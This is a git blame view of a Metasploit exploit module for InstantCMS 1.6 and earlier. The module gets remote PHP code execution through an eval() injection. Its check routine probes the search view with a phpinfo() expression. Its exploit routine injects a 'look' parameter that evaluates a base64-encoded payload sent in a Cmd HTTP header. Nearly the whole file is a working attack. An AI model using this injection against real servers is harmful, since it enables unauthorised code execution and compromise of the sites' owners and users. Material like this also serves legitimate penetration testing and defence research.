Files
metasploit-gs/modules/exploits/unix/webapp/instantcms_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

82 lines
2.1 KiB
Ruby
Raw Normal View History

2017-07-19 11:04:15 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2017-07-19 11:04:15 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2013-07-01 11:44:47 -04:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-07-03 11:37:57 -05:00
Rank = ExcellentRanking
2013-07-02 17:26:14 +01:00
include Msf::Exploit::Remote::HttpClient
2013-07-01 11:44:47 -04:00
def initialize(info = {})
super(update_info(info,
2013-07-03 11:37:57 -05:00
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
'Description' => %q{
2013-07-08 16:24:40 -05:00
This module exploits an arbitrary PHP command execution vulnerability because of a
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
2013-07-03 11:37:57 -05:00
},
'Author' =>
[
'AkaStep', # Vulnerability discovery and PoC
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
2013-07-01 11:44:47 -04:00
[
2013-07-03 11:37:57 -05:00
[ 'BID', '60816' ],
[ 'PACKETSTORM', '122176' ]
2013-07-01 11:44:47 -04:00
],
2013-07-03 11:37:57 -05:00
'Privileged' => false,
'Platform' => 'php',
2013-07-02 17:26:14 +01:00
'Arch' => ARCH_PHP,
2013-07-03 11:37:57 -05:00
'Targets' =>
2013-07-01 11:44:47 -04:00
[
2013-07-03 11:37:57 -05:00
[ 'InstantCMS 1.6', { } ],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-06-26',
2013-07-03 11:37:57 -05:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
])
2013-07-01 11:44:47 -04:00
end
def check
res = send_request_cgi({
2013-07-03 11:37:57 -05:00
'uri' => normalize_uri(target_uri.to_s),
2013-07-01 11:44:47 -04:00
'vars_get' =>
{
'view' => 'search',
'query' => '${echo phpinfo()}'
}
2013-07-02 17:26:14 +01:00
})
2013-07-01 11:44:47 -04:00
2014-01-21 13:03:36 -06:00
if res and res.body.match(/Build Date/)
return Exploit::CheckCode::Vulnerable
2013-07-01 11:44:47 -04:00
end
2014-01-21 13:03:36 -06:00
Exploit::CheckCode::Safe
2013-07-01 11:44:47 -04:00
end
def exploit
2013-07-03 11:37:57 -05:00
print_status("Executing payload...")
2013-07-01 11:44:47 -04:00
2013-07-03 11:37:57 -05:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => rand_text_alpha(3 + rand(3)),
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
2013-07-01 11:44:47 -04:00
end
end